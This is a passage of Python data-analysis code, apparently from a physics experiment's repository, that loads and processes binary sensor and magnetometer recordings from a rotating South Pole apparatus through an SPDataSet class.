y=rA[names].view(rA.dtype[-1]).reshape(rA.size,-1)\n return [t, y.T, names]\n\n #startI=0\n fastD=None;\n medD=None; \n relD=None;\n if \"Fast\" in subL:\n fastRec=loadSPBinary.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'Fast'), totalDataType=[('sd','>f8'), ('s1', '>f4')]) \n if fastRec is not None:\n fastD=splitRecArray(fastRec)\n fastD[1]=fastD[1].squeeze()\n fastD[1]*=cal\n\n startI, endI=fastD[0].searchsorted([startTime, endTime])\n fastD[0]=fastD[0][startI:endI]\n fastD[1]=fastD[1][startI:endI]\n\n if \"Medium\" in subL:\n medRec=loadSPBinary.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'Medium'), useMetaFile=True) \n if medRec is not None:\n renameFieldMaybe(medRec, 'Sidereal Days', 'sd')\n medD=splitRecArray(medRec)\n startI, endI=medD[0].searchsorted([startTime, endTime])\n medD[0]=medD[0][startI:endI]\n medD[1]=medD[1][:,startI:endI]\n\n\n\n if \"Relaxed\" in subL:\n relRec=loadSPBinary.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'Relaxed'), useMetaFile=True) \n if relRec is not None:\n renameFieldMaybe(relRec, 'Sidereal Days', 'sd')\n relD=splitRecArray(relRec)\n startI, endI=relD[0].searchsorted([startTime, endTime])\n relD[0]=relD[0][startI:endI]\n relD[1]=relD[1][:,startI:endI]\n if \"Slow\" in subL:\n slRec=loadSPBinary.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'Slow'), useMetaFile=True) \n if slRec is not None:\n renameFieldMaybe(slRec, 'Sidereal Days', 'sd')\n slD=splitRecArray(slRec)\n\n return SPDataSet(fastD, medD=medD, relD=relD)\n\nset_info_defaults={\n 'bUseful': 'unknown',\n 'bDataConfirmed':False,\n 'acquisition':{'sampleRate': 50, 'timeConstant': 0.003},\n #'rotationSpec':{'delay': 9, \n # 'interval':30, \n # 'numRotations':20,\n # 'rotAngles': [-180],\n # 'extraRotAngle': -90.,\n # 'startingAngle': 0,\n # },\n 'timeStamp':'unknown',\n 'notes': 'Default',\n #'windows':{}\n 'windows':{\n 'sig':{\n 'duration': 4,\n 'offset': -6.6,\n },\n 'bg':{\n 'duration': 1,\n 'offset': 0,\n },\n }\n }\ndef loadSetInfo(dir_name):\n ts=dir_name.split()[-2]\n bWriteNew=False\n filepath=os.path.join(dir_name, 'set_info.yaml')\n try:\n f=open(filepath)\n infoD=yaml.load(f)\n f.close()\n except IOError:\n print(\"No set_info.yaml exists in {}, making defaults\".format(dir_name))\n bWriteNew=True\n infoD= {}\n\n loadedKeys=infoD.keys()\n if 'bandwidth' in loadedKeys: #It's a matlab generated yaml file\n print(\"updating matlab generated yaml\")\n #newD=copy(set_info_defaults)\n newD={\n 'bUseful':infoD['bUseful'],\n 'bDataConfirmed':infoD['bDataConfirmed'],\n 'acquisition':{'sampleRate': infoD['bandwidth'][1], \n 'timeConst': infoD['bandwidth'][0]\n },\n 'rotationSpec':{'delay': infoD['delay'], 'interval':infoD['interval'],\n 'numRotations':infoD['numRotations'], \n 'rotAngles': [infoD['rotationAngles'][0]], \n 'extraRotAngle':infoD['rotationAngles'][1],\n 'startingAngle':MT.cardinalToDeg(infoD['startPosition']),\n },\n 'timeStamp':infoD['timestamp'],\n 'notes':infoD['notes']+'\\nConverted from matlab',\n }\n infoD=newD\n writeSetInfo(dir_name, infoD)\n \n if infoD.has_key('rotationSpec') and infoD['rotationSpec'].has_key('startPosition'):\n infoD['rotationSpec']['startingAngle']= MT.cardinalToDeg(infoD['rotationSpec']['startPosition'])\n infoD['rotationSpec'].pop('startPosition')\n\n newLoadedKeys=infoD.keys()\n for key in set_info_defaults.keys():\n if key not in newLoadedKeys:\n infoD[key]=set_info_defaults[key]\n print(\"Loading {0} from defaults, it may not be right. Go fix this in set_info.yaml!\".format(key))\n\n if bWriteNew:\n infoD['timeStamp']=ts\n writeSetInfo(dir_name, infoD)\n return infoD\n\ndef writeSetInfo(dir_name, D):\n filepath=os.path.join(dir_name, 'set_info.yaml')\n print(\"writing new set_info.yaml file...\")\n fout=open(filepath,'w')\n fout.write(yaml.dump(D))\n fout.close()\n print(\"{0} was written.\".format(filepath))\n\ndef loadZeroFile(fname):\n proc_dict={\n 1: 'cBz',\n 2: 'By',\n 3: 'Bx',\n 35: 'Cal',\n 29: 'Pol',\n }\n dat=np.loadtxt(fname).T;\n t=dat[0]\n proc_num=dat[1]\n val=dat[2]\n slope=dat[3]\n sigma=dat[4]\n ZeroProc=namedtuple('ZeroProc', ['t', 'val', 'slope', 'sigma'])\n zD={}\n for num, name in proc_dict.iteritems():\n I=np.where(proc_num==float(num))[0]\n zD[name]=ZeroProc(t=t[I], val=val[I], slope=slope[I], sigma=sigma[I])\n #DataFrame =namedtuple('DataFrame', ['sd', 'y'])\n return zD\n\n\ndef getAllSPSensor(names, slc=None, timeRange=None):\n data_dir=os.path.join(os.getenv('SP_DATA_DIR'))\n ap_dir_regex=re.compile('SP_aparatus (\\d+(?:\\.\\d*)?|\\.\\d+) Bundle$')\n mo_dir_regex=re.compile('SP_motor (\\d+(?:\\.\\d*)?|\\.\\d+) Bundle$')\n\n ap_match_list=[ap_dir_regex.match(line) for line in os.listdir(data_dir)]\n ap_stamps=[m.groups()[0] for m in ap_match_list if m is not None]\n mo_match_list=[mo_dir_regex.match(line) for line in os.listdir(data_dir)]\n mo_stamps=[m.groups()[0] for m in mo_match_list if m is not None]\n\n mo_stamps.sort()\n ap_stamps.sort()\n ioff()\n sdL=[]\n if slc is None:\n [firstI, lastI]=searchsorted(ap_stamps, timeRange)\n slc=slice(firstI, lastI)\n #slc=slice(-20,-15)\n relIdxs=[relaxedNames.index(name) for name in names if name in relaxedNames]\n medIdxs=[mediumNames.index(name) for name in names if name in mediumNames]\n #slIdxs=[slowNames.index(name) for name in names if name is in slowNames]\n #medList=[idx for name in names if name is in mediumNames]\n #slList=[idx for name in names if name is in slNames]\n\n allMedL=[]\n allRelL=[]\n subSetL=[]\n if medIdxs:\n subSetL.append(\"Medium\")\n if relIdxs:\n subSetL.append(\"Relaxed\")\n \n for stamp in ap_stamps[slc]:\n thisTsYL=[]\n dat=loadSet(stamp, subL=subSetL)\n relL=[]\n medL=[]\n #tsL=[]\n for idxs, D, l in [(relIdxs, dat.relD, relL), (medIdxs, dat.medD, medL)]:\n if idxs and D:\n l.append([D[0]]+[D[1][idx] for idx in idxs])\n #tsL.append(D[0])\n #else:\n #tsL.append(None)\n #l.append(None)\n \n if medL:\n allMedL.append(medL)\n if relL:\n allRelL.append(relL)\n\n if 0:\n try:\n dat=loadSet(stamp, subL=subSet)\n if subSet=='Relaxed':\n D=dat.relD\n elif subSet=='Medium':\n D=dat.medD\n elif subSet=='Slow':\n D=dat.slowD\n if D:\n sd=D[0].copy()\n y=D[1][D[2].index(name)].copy()\n del dat\n sdL.append(sd)\n yL.append(y)\n \n except ValueError:\n print(\"\\nTimestamp {0} didn't load, maybe no '{1}' data? \\n \\n\".format(stamp, subSet))\n if allRelL:\n allRelL=dstack(allRelL).squeeze()\n if allMedL:\n allMedL=dstack(allMedL).squeeze()\n return allMedL, allRelL\n\ndef loadBins(root_path, useMetaFile=True, nVars=1, endian='', dType=None, totalDataType=None):\n \"\"\"Load all the binary files in that match the root path.\n\n They match the root path with regex 'root_path( \\d+)?.bin',\n that is anything that starts with root_path, ends with .bin, and optionally has a number after a space. If there are numbers after the space, the files are loaded and the data appended in the correct order.\n \"\"\"\n dirname=path.dirname(root_path) \n rootname=path.basename(root_path) \n r=re.compile('{0}( \\d+)?\\.bin'.format(rootname))\n dlist=os.listdir(dirname);\n dlist=[st for st in dlist if r.match(st)]\n if not dlist:\n print(\"No data for {0}\".format(root_path))\n return None\n if len(dlist)>1:\n dlist.sort( key=lambda st: int(r.match(st).groups()[0]) ) # dlist is now sorted\n \n dat_list=[loadABin(path.join(dirname, fname), useMetaFile=useMetaFile, nVars=nVars, endian=endian, totalDataType=totalDataType) for fname in dlist]\n # Combine these into a single file...\n\n dat=np.hstack(dat_list)\n #datnames=dat_list[0].keys()\n return dat\n\ndef loadABin(filepath, nVars=1, useMetaFile=True, endian='', totalDataType=None):\n \"\"\"Load a single binary file at filepath\n \"\"\"\n #This is all just establishing how the data is stored in the file\n if totalDataType is None: #If a data type wasn't given, we'll try to work it out:\n if useMetaFile: #Usually the data type is stored in a meta file: \n fname_components=path.splitext(filepath)[0].split(' ')\n if fname_components[-1].isdigit():\n fname_components.pop()\n meta_file_path=' '.join(fname_components) + '.npmeta'\n npmeta_path=' '.join(fname_components) + '.npmeta'\n if path.exists(npmeta_path):\n mfile=open(npmeta_path)\n lines=mfile.readlines()\n pairs=[line.strip().split(',') for line in lines if not line.isspace() and not line.startswith('#') ]# should be tuples of e.g. ('signal', 'f8');\n defaultDtype='>f4'\n totalDataType=[]\n for p in pairs:\n name=p[0].strip()\n if len(p)>1:\n dt=p[1].strip()\n defaultDtype=dt;\n else:\n dt=defaultDtype;\n totalDataType.append((name, dt));\n else: #If there was no appropriate unambiguous meta-file, look for the old style:\n meta_file_path=' '.join(fname_components) + '.meta'\n if not path.exists(meta_file_path): #Sometimes they have the extension .meta.txt for no good reason, so check for that too\n meta_file_path=meta_file_path+'.txt'\n if path.exists(meta_file_path):\n convert.spmeta2npmeta(meta_file_path) #This convert the old style to the new (Corrects for some changes, but not all)\n print(\"Found an old meta-file only. Will attempt to make something useful out of it (old style is ambiguous)\")\n return loadABin(filepath, nVars, useMetaFile) #We'll run the function again with the new meta file exists\n #mfile=open(meta_file_path)\n else:\n raise IOError(\"Looking for a meta-file (for {0}) but none exists\".format(' '.join(fname_components)))\n sigNames=mfile.readlines()\n sigNames=[name.strip() for name in sigNames]\n if sigNames[0]=='Sidereal Days':\n sigNames=sigNames[1:]\n nVars=len(sigNames)\n sigDataType=[(name, endian+'f8') for name in sigNames]\n timeDataType=[('sd', endian+'f8')]\n totalDataType=timeDataType+sigDataType\n\n else:\n timeDataType=[('sd', endian+'f8')]\n sigDataType=[('s{0}'.format(n), endian+'f8') for n in range(1,nVars+1)]\n totalDataType=timeDataType+sigDataType\n\n # This is where we actually read it\n dat=np.fromfile(filepath, totalDataType)\n\n return dat;\n\nif __name__==\"__main__\":\n #ddir='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_motor 5253.67 Bundle/'\n #fpath=ddir+'SP_motor 5253.67 sensors 8.bin'\n ddir='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_aparatus 5256.38 Bundle/'\n #ddir='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_motor 5256.38 Bundle/'\n fname='SP_aparatus 5256.38 Medium 6.bin'\n fname_f='SP_aparatus 5256.38 Fast'\n ddir2='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_motor 5253.67 Bundle/'\n fname2='SP_motor 5253.67 sensors'\n fpath=ddir+fname\n fpath_f=ddir+fname_f\n\n dat=loadABin(fpath, useMetaFile=True);\n dat_f=loadBins(fpath_f, useMetaFile=False, totalDataType=[('sd','>f8'), ('s1', '>f4')]);\n dat2=loadBins(ddir+'SP_aparatus 5256.38 Medium')\n dat3=loadBins(ddir2+fname2, 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err2)\n\n"},{"alpha_fraction":0.6612903475761414,"alphanum_fraction":0.774193525314331,"avg_line_length":61.25,"blob_id":"fafb7f5d98e85e755c86eb2daf8c686e57f22572","content_id":"b9a8536e49b3f3b6bce86af2c5df16591e2be01d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":248,"license_type":"no_license","max_line_length":174,"num_lines":4,"path":"/html/namespacerepo_1_1programs_1_1pythonpackages_1_1pr_1_1SPDataSet.js","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"var namespacerepo_1_1programs_1_1pythonpackages_1_1pr_1_1SPDataSet =\n[\n [ \"SPDataSet\", \"classrepo_1_1programs_1_1pythonpackages_1_1pr_1_1SPDataSet_1_1SPDataSet.html\", \"classrepo_1_1programs_1_1pythonpackages_1_1pr_1_1SPDataSet_1_1SPDataSet\" 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],\n [ \"test_continuous_fitting\", \"test__SPfuncs_8py.html#af18588089ac02705cb7205aec7430241\", null ],\n [ \"test_cutAmp\", \"test__SPfuncs_8py.html#a287834089412b429481b6b2b90e2d6bf\", null ]\n];"},{"alpha_fraction":0.5672060251235962,"alphanum_fraction":0.5835860371589661,"avg_line_length":39.46559524536133,"blob_id":"fc247f47460f137018bf384e844d683ce7e19e7d","content_id":"39580c7635194540801ff9e2db654bbb3dde705f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":35287,"license_type":"no_license","max_line_length":203,"num_lines":872,"path":"/SPDataSet.py","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"\"\"\"\n\n\"\"\"\nimport pdb\nfrom collections import namedtuple\nfrom functools import partial\nfrom pylab import *\nimport SPfuncs as sp\nfrom MT import nonnan, cached_property, memoize_inst_meth, nearby_angles, combine_angle_pairs, rotate_quadrature_sample, weightedStats, vprint\nimport MT, os\nimport loadSPFiles\nfrom SPfuncs import getAnglesFromRSpec, renameFieldMaybe, getHarmonicsFit, mgStringHarmonics, sliceReduceData, sliceSorted, makeTriggers, Window, RotationSpec, secs2sd, sd2secs, makeTestData, spSearchSet\nfrom SPfuncs import CorrelationData, SiderealFitData, PointData, RawData\nimport SPfuncs as spf\nimport loadSPFiles\nfrom scipy import random\nimport inspect\nimport yaml\nfrom copy import copy\nfrom pprint import pprint\n\n#This works with memoize_inst_methd methods only (and only with Morgan's modified version)\ndef divide_args_memo(kwargs, func_to_follow):\n names_to_keep=list(set(kwargs.keys()) & set(func_to_follow.orig_args[1:]))\n kept_args=dict( [(key, kwargs.pop(key)) for key in names_to_keep] )\n return kwargs, kept_args\n\ndef divide_args(cur_kwargs, work_func):\n \"\"\"Helpful for calling work_func(following_func(**remaining_args), **work_args))\n work_args are the entries of cur_kwargs that are in the argument list of work_func. Remaining_args are those left over\n Currently just returns the divided argument list\n \"\"\"\n names_to_keep=list(set(cur_kwargs.keys()) & set(inspect.getargspec(work_func).args))\n work_args=dict( [(key, cur_kwargs.pop(key)) for key in names_to_keep] )\n #return work_func(following_func(**cur_kwargs), **work_args)\n return cur_kwargs, work_args\n\nttl=300\nclass SPDataSet(object):\n setNameD={\n 'med':'medD',\n 'medium':'medD',\n 'rel':'relD',\n 'relaxed':'relD',\n 'fast':'fastD',\n '':'fastD',\n 'motor':'motorD',\n 'mot':'motorD',\n }\n def __init__(self, timestamp, preloadDict={}, startTime=-inf, endTime=inf, **kwargs):\n self.windowD={}\n self.timestamp=timestamp \n self.startTime=startTime\n self.endTime=endTime\n self.base_dir, self.base_name=loadSPFiles.getSpinningDataNames(timestamp)\n #Add to the class whatever is in preloadDict (these will overide the cached_property functions)\n self.__dict__.update(preloadDict)\n\n\n #Convenience parameter loading from set_info.yaml:\n if kwargs:\n # Just in case you didn't mean to do this, e.g. a typo\n vprint(\"Warning: updating dataset according to kwargs: {0}\".format(kwargs))\n self.__dict__.update(kwargs)\n if self.set_info.has_key('windows'):\n winD=self.set_info['windows']\n \n for winName, winVals in winD.iteritems():\n self.windowD[winName]=Window(**winVals)\n if self.set_info.has_key('badTimes'):\n self.badTimes=self.set_info['badTimes']\n else:\n self.badTimes=[]\n if self.set_info.has_key('skipSeqIs'):\n self.skipSeqIs=self.set_info['skipSeqIs']\n if not hasattr(self.skipSeqIs, '__iter__'):\n self.skipSeqIs=[self.skipSeqIs]\n else:\n self.skipSeqIs=[]\n if self.set_info.has_key('dropTriggerIs'):\n self.dropTriggerIs=self.set_info['dropTriggerIs']\n if not hasattr(self.dropTriggerIs, '__iter__'):\n self.dropTriggerIs=[self.dropTriggerIs]\n else:\n self.dropTriggerIs=[]\n\n if self.set_info.has_key('calOverride'):\n self.calOverride=self.set_info['calOverride']\n else:\n self.calOverride=None\n \n def clearRaw(self):\n for varname in ['fastD', 'medD', 'relD', 'motorD']:\n self._cache.pop(varname, None)\n \n @property\n def rSpec(self):\n return (self.__dict__['rSpec'] if \n self.__dict__.has_key('rSpec') else \n RotationSpec(**self.set_info['rotationSpec'])\n )\n #return RotationSpec(**self.set_info['rotationSpec'])\n @cached_property(ttl=0)\n def set_info(self):\n \"\"\"Property doc string!!\"\"\"\n if self.timestamp=='test':\n return {}\n return loadSPFiles.loadSetInfo(self.base_dir) \n\n def update_set_info(self, newD):\n cur_info=copy(self.set_info)\n new_keys=newD.keys()\n old_keys=cur_info.keys()\n if not all([key in old_keys for key in new_keys]):\n raise ValueError(\"Some keys don't already exist. Edit the info file instead\")\n cur_info.update(newD)\n loadSPFiles.writeSetInfo(self.base_dir, newD)\n\n def tRange(self):\n return [self.fastD[0].min(), self.fastD[0].max()]\n\n #Base level loading\n @staticmethod\n def splitRecArray(rA):\n t=rA['sd']\n names=list(rA.dtype.names)\n names.remove('sd')\n y=rA[names].view(rA.dtype[-1]).reshape(rA.size,-1)\n return [t.copy(), y.T.copy(), names]\n\n @cached_property(ttl=ttl)\n def medD(self):\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(self.base_dir, self.base_name, 'Medium'), useMetaFile=True) \n if rec is not None:\n renameFieldMaybe(rec, 'Sidereal Days', 'sd')\n dat=self.splitRecArray(rec)\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\n dat[0]=dat[0][startI:endI]\n dat[1]=dat[1][:,startI:endI]\n else:\n return None;\n return dat\n\n @cached_property(ttl=ttl)\n def motorPositions(self):\n base_dir,base_name=loadSPFiles.getSpinningDataNames(self.timestamp, bMotorData=True)\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'positions'), useMetaFile=True) \n if rec is not None:\n renameFieldMaybe(rec, 'Sidereal Days', 'sd')\n dat=self.splitRecArray(rec)\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\n dat[0]=dat[0][startI:endI]\n dat[1]=dat[1][:,startI:endI]\n else:\n vprint(\"No motor position data\")\n return None;\n return dat\n\n @cached_property(ttl=ttl)\n def motorSensors(self):\n base_dir,base_name=loadSPFiles.getSpinningDataNames(self.timestamp, bMotorData=True)\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'sensors'), useMetaFile=True) \n if rec is not None:\n renameFieldMaybe(rec, 'Sidereal Days', 'sd')\n dat=self.splitRecArray(rec)\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\n dat[0]=dat[0][startI:endI]\n dat[1]=dat[1][:,startI:endI]\n else:\n vprint(\"No motor sensor data\")\n return None;\n return dat\n\n @cached_property(ttl=ttl)\n def relD(self):\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(self.base_dir, self.base_name, 'Relaxed'), useMetaFile=True) \n if rec is not None:\n renameFieldMaybe(rec, 'Sidereal Days', 'sd')\n dat=self.splitRecArray(rec)\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\n dat[0]=dat[0][startI:endI]\n dat[1]=dat[1][:,startI:endI]\n else:\n return None;\n return dat\n\n @cached_property(ttl=ttl)\n def fastD(self):\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(self.base_dir, self.base_name, 'Fast'), totalDataType=[('sd','>f8'), ('s1', '>f4')]) \n if rec is not None:\n dat=self.splitRecArray(rec)\n dat[1]=dat[1].squeeze()\n if self.calOverride is None:\n calArr=self.calArr\n dat[1]=dat[1]*MT.const_interp(dat[0], calArr.t, calArr.val)\n else:\n dat[1]=dat[1]*self.calOverride\n #dat[1]=self.cal*dat[1]\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\n dat[0]=dat[0][startI:endI]\n dat[1]=dat[1][startI:endI]\n else:\n return None\n return dat\n\n @cached_property(ttl=ttl)\n def trigTimes(self):\n if self.fastD: #prefer to make triggers with the fast data if it's available\n t=self.rawData().t#fastD[0]\n elif self.medD:\n t=self.medD[0]\n elif self.relD:\n t=self.relD[0]\n else:\n return None\n trigs= makeTriggers(t, self.rSpec, bIncludeExtraRot=True);\n #if self.set_info.has_key('skipFirstTrigger') and self.set_info['skipFirstTrigger']==True:\n # trigs=trigs[:,1:]\n gdTrigMask=ones(self.rSpec.numRotations, dtype=bool) \n gdTrigMask[self.dropTriggerIs]=0\n gdSeqMask=ones(trigs.shape[0], dtype=bool); gdSeqMask[self.skipSeqIs]=0\n trigs=trigs[gdSeqMask]\n trigs=trigs[:,gdTrigMask]\n return trigs\n\n @cached_property(ttl=ttl)\n def apparatusRotations(self):\n gdTrigMask=ones(self.rSpec.numRotations, dtype=bool) \n gdTrigMask[self.dropTriggerIs]=0\n return getRotationsFromRSpec(self.rSpec, self.trigTimes.shape[0])[:,gdTrigMask]/180.*pi\n @cached_property(ttl=0)\n def apparatusAngles(self):\n gdTrigMask=ones(self.rSpec.numRotations, dtype=bool) \n gdTrigMask[self.dropTriggerIs]=0\n return getAnglesFromRSpec(self.rSpec, self.trigTimes.shape[0])[:,gdTrigMask]/180.*pi\n\n @cached_property(ttl=0)\n def zeroingD(self):\n zeroD= loadSPFiles.loadZeroFile('{0}{1} Zeroing List.asc'.format(self.base_dir, self.base_name))\n return zeroD\n \n def cBzCal(self):\n dat=loadtxt('{0}{1} Zeroing z1 Calibrations.asc'.format(self.base_dir, self.base_name)).T\n typ= namedtuple('z1CalData', ['t', 'val'])\n return typ(t= dat[0], val=dat[1])\n \n @property\n def calArr(self, process=None):\n calArr=self.zeroingD['Cal']\n if calArr.t.size>1 and process=='average':\n cal=(diff(calArr.t)*calArr.val[:-1]).sum()/diff(calArr.t).sum() \n #cal=(diff(calArr.t)*calArr.val[:-1]).sum()/diff(calArr.t).sum() # A rough time-average. diff(t)*sum(vals)/sum(diff(t))\n elif process is None:\n if calArr.t.size>1:\n cal=calArr\n elif calArr.t.size==1:\n #cal=calArr.val[0]\n print(\"only one Bx callibration, maybe that's a problem\")\n cal=calArr\n else:\n print(\"no Bx callibration found for timestamp {0}? Using coarse-bz calibration instead\".format(self.timestamp))\n cal = self.cBzCal()\n #vprint(\"Callibration is {0}\".format(cal))\n return cal\n\n def pol(self, t=None):\n polTup=self.zeroingD['Pol']\n tmeas=polTup.t\n if t is None:\n return tmeas, polTup.val\n else:\n pol=interp(t, tmeas, polTup.val)\n return pol\n\n def getSensorData(self, nameL):\n return [getRawByName(name) for name in nameL]\n def getRawByName(self, name):\n ''' Names should be of the form \"med:Total Position Sensor 1\" etc\n '''\n if name=='sig':\n return self.rawData()\n setSt, nameSt=name.split(':')\n data_set=self.__getattribute__(self.setNameD[setSt])\n if data_set is None:\n vprint(\"No data for {0}\".format(name))\n return None\n nameL=data_set[2]\n\n if nameSt not in nameL:\n raise ValueError(\"Requested name '{0}' is not in the list of '{1}' sensors\".format(nameSt, setSt))\n I=nameL.index(nameSt)\n return RawData(t=data_set[0], sig=data_set[1][I])\n \n def rawData(self, rawData=None, **kwargs):\n if isinstance(rawData, RawData):\n rawData=rawData\n elif rawData==None:\n rawData=RawData(self.fastD[0], self.fastD[1])\n elif isinstance(rawData, str): #Load a data set according to the string\n rawData=self.getRawByName(rawData)\n if rawData is None:\n return\n\n goodMask=ones(rawData.t.size, dtype=bool)\n if self.badTimes and not hasattr(self.badTimes[0], '__iter__'):\n self.badTimes=[self.badTimes]\n for interval in self.badTimes: \n if interval[1]==-1:\n interval[1]=inf\n Istart, Istop=rawData.t.searchsorted(interval)\n goodMask[Istart:Istop]=False\n\n rawData= RawData(*[p[goodMask] for p in rawData])\n #.sig[~goodMask]\n self.clearRaw()\n return rawData\n #return RawData(t=rawData.t[goodMask], sig=rawData.sig[goodMask])\n\n #Processing 0\n @memoize_inst_meth\n def cutAmp(self, sigWindow=None, cutSensSubL=[], addFakeD=None, **kwargs):\n if sigWindow==None:\n if not self.windowD.has_key('sig'):\n raise ValueError(\"No signal window was given, and there's no default for this set (check set_info file)\")\n sigWindow=self.windowD['sig'] # if no sigWindow is given, assume there's a default one for this dataset\n elif isinstance(sigWindow, basestring):\n sigWindow=self.windowD[sigWindow]\n vprint(\"Calculating cut amplitudes\")\n cutAmp= spf.preprocess_raw(self.rawData(**kwargs), self.trigTimes, sigWindow)\n if cutSensSubL:\n sensCutAmpL=[self.cutAmp(rawData=name) for name in cutSensSubL]\n if addFakeD is not None:\n cutAmp=spf.addFakeData(cutAmp, self.apparatusAngles, self.trigTimes, **addFakeD)\n return cutAmp\n #return RawData(rawT, rawSig)\n\n @memoize_inst_meth\n def filteredCutAmp(self, sensNameL=None, **kwargs):\n if sensNameL is None:\n if self.set_info.has_key('sensorFilt'):\n sensNameL=self.set_info['sensorFilt']\n else:\n sensNameL=[]\n\n rem_args, work_args=divide_args(kwargs, spf.filterBySensors)\n D=copy(kwargs)\n if D.has_key('rawData'):\n D.pop('rawData')\n if D.has_key('sensNameL'):\n D.pop('sensNameL')\n cutSensorAmps=[self.pointAmp(rawData=name, **D) for name in sensNameL]\n return spf.filterBySensors(self.cutAmp(**rem_args), sensDataL=cutSensorAmps, **work_args)\n \n @memoize_inst_meth\n def seqAmpFitSplit(self, addFakeD=None, **kwargs):\n \"\"\"Assume it's a continuously rotating sample.\n \"\"\"\n rem_args, work_args=divide_args(kwargs, spf.process_continuous_raw)\n rawSig=self.rawData(**rem_args)\n if addFakeD is not None:\n rawSig=spf.addFakeData(rawSig, rotationRate=self.set_info['rotationRate'], **addFakeD)\n\n rawRef=self.rawData('med:Fluxgate Z')\n if self.set_info.has_key('rotationRate'):\n rotationRate=float(self.set_info['rotationRate'])\n else:\n print(\"WARNING:No ration rate in set_info. We'll guess it's -0.03, but if it's not then the answers will be wrong!!\")\n rotationRate=-0.03\n seqAmp=spf.process_continuous_raw(rawSig, rawRef, rotationRate) \n return seqAmp\n\n #Processing 1\n @memoize_inst_meth\n def pointAmp(self, **kwargs):\n vprint(\"Calculating point amplitudes\")\n if self.set_info.has_key('continuousRotation') and self.set_info['continuousRotation']==True:\n Nds=250\n rAmp=self.rawData(**kwargs)\n ptVals, ptErr= MT.downsample_npts(rAmp.sig, Nds, bRetErr=True)\n ptT=MT.downsample_npts(rAmp.t, Nds)\n return PointData(t=ptT, sig=ptVals,err=ptErr/sqrt(Nds), theta=None, chi2=None)\n #return PointData(t=zeros(0), sig=zeros(0),err=zeros(0), theta=zeros(0), chi2=zeros(0))\n rem_args, work_args=divide_args(kwargs, spf.process_raw)\n #pointAmp= spf.process_raw(self.filteredCutAmp(**rem_args), **work_args)\n pointAmp= spf.process_raw(self.cutAmp(**rem_args), **work_args)\n pointAmp=pointAmp._replace(theta=self.apparatusAngles)\n return pointAmp\n\n #Processing 2\n @memoize_inst_meth\n def sequenceAmp(self, bRemoveZerothRotation=True, subtractWindow=None,genSeqFiltF=None, seqSensSubL=[], **kwargs):\n vprint(\"Calculating sequence amplitudes\")\n if self.set_info.has_key('continuousRotation') and self.set_info['continuousRotation']==True:\n seqAmp=self.seqAmpFitSplit(**kwargs)\n else: #stop-start manner\n rem_args, work_args=divide_args(kwargs, spf.process_points)\n pointAmp=self.pointAmp(**rem_args)\n cutAmp=self.filteredCutAmp(**rem_args)\n\n if bRemoveZerothRotation:\n pointAmp=PointData(*[arr.take(r_[1:arr.shape[-1]], axis=-1) if arr is not None else None for arr in pointAmp])\n cutAmp=RawData(*[arr.take(r_[1:arr.shape[-1]], axis=-1) if arr is not None else None for arr in cutAmp])\n\n seqAmp=spf.process_points(self.apparatusAngles, pointAmp, cutAmp, **work_args)\n if subtractWindow:\n vprint('subtracting window \"{}\"'.format(subtractWindow))\n D=copy(rem_args)\n D.update({'sigWindow':subtractWindow})\n refAmp=self.sequenceAmp(**D)\n seqAmp.sig[:]-=refAmp.sig\n\n if seqSensSubL:\n sensSeqAmpL=[self.sequenceAmp(rawData=name) for name in seqSensSubL]\n sensSeqAmpL=[CorrelationData(*[par[:,0,1] for par in sAmp]) for sAmp in sensSeqAmpL]\n sub1HAmp=spf.subtract_correlations(CorrelationData(*[par[:,0,1] for par in seqAmp]), sensSeqAmpL)\n seqAmp.sig[:,0,1]=sub1HAmp.sig\n\n if genSeqFiltF: #General filter on the sequences\n seqAmp=genSeqFiltF(self, seqAmp)\n\n\n return seqAmp\n\n #Processing 3\n @memoize_inst_meth\n def labAmp(self, filtF=None, **kwargs):\n vprint(\"Calculating lab-frame amplitudes\")\n rem_args, work_args=divide_args(kwargs, spf.process_sequences)\n seqAmp=self.sequenceAmp(**rem_args)\n if filtF:\n seqAmp=filtF(seqAmp)\n labAmp, sidAmp= spf.process_sequences(seqAmp)\n return labAmp\n #return spf.split_and_process_sequences(seqAmp, **work_args)\n\n #Processing 3\n @memoize_inst_meth\n def sidAmp(self, filtF=None, coFitL=[], coFitPhaseVaryIs=[], subtractHarmsL=[], harmonic=1, **kwargs):\n h=harmonic-1\n vprint(\"Calculating sidereal amplitudes\")\n rem_args, work_args=divide_args(kwargs, spf.process_sequences_multifit)\n seqAmp=self.sequenceAmp(**rem_args)\n\n #This will be used for the actual processing\n #seqAmp, sensSeqAmpL,\n sensSeqAmpL=[self.sequenceAmp(rawData=name, **rem_args) for name in coFitL]\n\n #Apply the filtering function\n if filtF: #Use some sub-set of the sequences\n seqAmp=filtF(seqAmp)\n if not seqAmp:\n return None\n sensSeqAmpL=zip(*[filtF(sensAmp) for sensAmp in sensSeqAmpL])\n if not sensSeqAmpL:\n sensSeqAmpL=len(seqAmp)*[[]] #Make it a list of empty lists\n\n # Now seqAmp and sensSeqAmpL may be lists (or lists of lists)\n # But if they're not, we'll make sure they are\n if hasattr(seqAmp, 't'):\n seqAmp=[seqAmp]\n if sensSeqAmpL==[]:\n 